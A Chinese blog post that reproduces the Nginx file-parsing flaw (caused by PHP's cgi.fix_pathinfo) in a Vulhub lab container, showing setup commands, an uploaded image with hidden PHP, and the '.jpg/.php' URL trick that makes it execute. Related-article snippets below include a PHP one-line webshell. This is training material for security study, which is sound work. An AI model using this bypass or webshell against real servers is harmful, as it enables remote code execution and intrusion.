【Vulhub】Nginx文件解析漏洞

最新推荐文章于 2024-06-05 09:06:29 发布
最新推荐文章于 2024-06-05 09:06:29 发布
阅读量186 收藏
点赞数 2
文章标签： php 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_61862241/article/details/130559667
版权

Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为cgi.fix_pathinfo=1造成的解析漏洞...

PS：同样使用1.jpg/.php方式进行绕过...

一：环境搭建

步骤一：进入以下Vulhub路径并开启容器...

cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps -a

步骤二：浏览器中访问网站...

http://192.168.1.84/

二：漏洞复现

步骤一：制作图片马并进行上传...获取上传文件地址...

http://192.168.1.84/uploadfiles/aa214af232f9b1422779c09fcf6409be.jpg

步骤二：访问以下路径，利用Nginx解析漏洞...

192.168.1.84/uploadfiles/aa214af232f9b1422779c09fcf6409be.jpg/.php

上仙@
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
利用Vulnhub复现漏洞 - Nginx 文件名逻辑漏洞（CVE-2013-4547）
JiangBuLiu的博客
07-12 839
Nginx 文件名逻辑漏洞（CVE-2013-4547）Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现 Vulnhub官方复现教程 https://vulhub.org/#/environments/nginx/CVE-2013-4547/ 漏洞原理 影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 参考链接： http://cve.mitre.or...
Nginx文件解析漏洞
xdjxi的博客
02-23 1767
1 首先拉取一个基础镜像 docker pull ubuntu:14.04.5 2.启动一个容器 使用docker run -d -it -p本机端口:80 ubuntu:14.04.5启动镜像 3.进入容器 使用docker exec -it [容器ID]/bin/bash进入容器 4 .更换apt源 然后使用以下语句安装相关环境: apt-get update # 更新源 apt-get install vim # 安装vim apt-get install nginx #..
vulhub中的Nginx漏洞的详细解析
qq_59020256的博客
01-09 785
这里只需要加一个.php缀就行，可以是1.php也可以是其他php，只需要以.php为后缀就行。1.cd到nginx_parsing_vulnerability。2.执行docker-compose up -d。因为这里是80端口所以直接使用ip就能访问成功。注意这里的图片是含有一句话木马的图片。7.获取phpinfo()3.查看靶场是否开启成功。6.根据路径进行访问。
nginx漏洞复现（包含nginx的介绍，配置，访问控制等内容），是较全的nginx学习！
m0_67284865的博客
08-16 6714
这篇文章包含nginx的介绍与配置，其中包含访问控制的安全，有漏洞复现案例：Nginx 文件名逻辑漏洞（CVE-2013-4547）Nginx越界读取缓存漏洞（CVE-2017-7529）Nginx 配置错误导致漏洞 Nginx 解析漏洞复现
Nginx漏洞解析及复现
最新发布
A526847的博客
06-05 2325
开启这一选项有什么用呢？看名字就知道是对文件路径进行“修理”。举个例子，当php遇到 文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时，若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在，则会去掉最后的 “/ccc.zzz”，然后判断“/aaa.xxx/bbb.yyy”是否存在，若存在，则把“/aaa.xxx/bbb.yyy”当做文件 “/aaa.xxx/bbb.yyy/ccc.zzz”，若“/aaa.xxx/bbb.yyy”仍不存在，则继续去掉“/bbb.yyy”，以此类推。
nginx常见漏洞解析_nginx漏洞，2024年最新蚂蚁金服网络安全架构面试题
2401_83621541的博客
04-15 934
中间件漏洞可以说是最容易被web管理员忽视的漏洞，原因很简单，因为这并不是应用程序代码上存在的漏洞，而是属于一种应用部署环境的配置不当或者使用不当造成的。但是在开发使用过程中也不乏官方程序自身的一些安全问题。我们在处理应急响应事件时经常遇到这么一种情况，客户网站代码是外包的，也就是第三方公司负责开发，而部署可能是由客户内部运维人员负责。暂不说他们对于中间件安全的重视程度与了解程度，只谈发现漏洞后如何处理，便是一团乱。开发商推卸说这并不是代码上的问题，他们完全是按照安全开发流程（SDL）走的，所以跟他无关。
Nginx解析漏洞（nginx_parsing_vulnerability）
m0_63521991的博客
01-27 1678
NGINX解析漏洞主要是由于NGINX配置文件以及PHP配置文件的错误配置导致的。这个漏洞与NGINX、PHP版本无关，属于用户配置不当造成的解析漏洞。具体来说，由于nginx.conf的配置导致nginx把以’.php’结尾的文件交给fastcgi处理，对于任意文件名，在后面添加/xxx.php（xxx为任意字符）后，即可将文件作为php解析。
Nginx解析漏洞测试
09-19
Nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作...默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。
Nginx服务器配置文件完全解析
09-30
**Nginx服务器配置文件完全解析** Nginx是一款高性能的HTTP和反向代理服务器，以其高效的异步非阻塞I/O模型而闻名。本文将深入解析Nginx的配置文件，帮助读者理解和掌握如何优化Nginx服务器的性能。 首先，配置...
Python解析nginx日志文件
09-22
### Python解析Nginx日志文件 在现代网站运维中，服务器日志分析是一项重要的工作。通过对Nginx等Web服务器的日志文件进行解析和统计，运维人员能够更好地监控服务状态、诊断问题以及优化用户体验。Python作为一种...
nginx配置文件解析nginx配置文件解析nginx配置文件解析.txt
03-28
nginx
nginx文件资源下载
06-28
【Nginx 文件资源下载详解】 Nginx 是一款高性能的 Web 和反向代理服务器，以其高并发、轻量级和稳定性的特点在 IT 行业中广泛应用。它不仅可以作为静态文件服务器，处理 HTML、CSS、JavaScript 等资源的下载请求，...
vulhub Nginx文件解析漏洞
qq_51331767的博客
03-06 342
由于用户的配置问题，在php的配置文件中cgi.fix_pathinfo默认开启，当url中有不存在的文件，php会向前递归，将../.jpg/.php解析为/.php文件。将php-fpm.conf中的 security.limit_extensions =.php，只支持php后缀解析。http://IP/uploadfiles/图片.jpg/.php。在文件路径后加上.php，在进行访问，发现php代码已经被执行。访问http://IP/，看到这个页面表示漏洞环境搭建成功。访问文件的路径，正常访问。
vulhub-Nginx
Mccc_li的博客
05-19 299
test
[Vulhub] Nginx漏洞
weixin_45605352的博客
06-09 1911
文章目录@[toc]Nginx 解析漏洞0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现Nginx 文件名逻辑漏洞（CVE-2013-4547）0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现Nginx越界读取缓存漏洞（CVE-2017-7529）0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现Nginx 配置错误导致漏洞Mistake 1. CRLF注入漏洞0x00 漏洞描述0x0
【vulhub】 nginx
haoaaao的博客
05-01 296
0x00 CVE-2013-4547(文件上传——文件名逻辑漏洞) 1、简介 1）漏洞说明 这个漏洞主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。 2）影响版本： Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 2、搭建 2、复现 1）1.php：<?php eval(\$_POST['x']);?> php马：<?php fwrite(...
Vulhub中Nginx系列之CVE-2013-4547、CVE-2017-7529、Insecure-configuration、nginx_parsing_vulne 漏洞复现
weixin_41438728的博客
11-30 1448
Nginx系列漏洞复现一、Nginx 文件名逻辑漏洞（CVE-2013-4547 ）漏洞复现影响版本漏洞说明漏洞利用漏洞修复Nginx越界读取缓存漏洞（CVE-2017-7529 ）漏洞复现影响版本漏洞说明概念介绍漏洞利用漏洞修复配置错误导致漏洞（insecure-configuration ）影响版本影响说明1、CRLF注入漏洞Mistake 1. CRLF注入漏洞2、目录穿越漏洞3、add_header被覆盖nginx_parsing_vulnerability 一、Nginx 文件名逻辑漏洞（CVE-
渗透技术学习之二--docker搭建vulhub靶场进行nginx服务漏洞分析
阿党的专栏
03-09 1356
docker搭建vulhub靶场进行nginx服务漏洞分析
nginx中间件解析漏洞的影响
06-10
Nginx 中间件解析漏洞是指攻击者利用 Nginx 中间件解析漏洞，通过构造恶意请求，从而绕过服务器的安全措施并执行任意代码。这种漏洞可以允许攻击者在服务器上执行任意的系统命令、读取、修改或删除服务器上的敏感...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值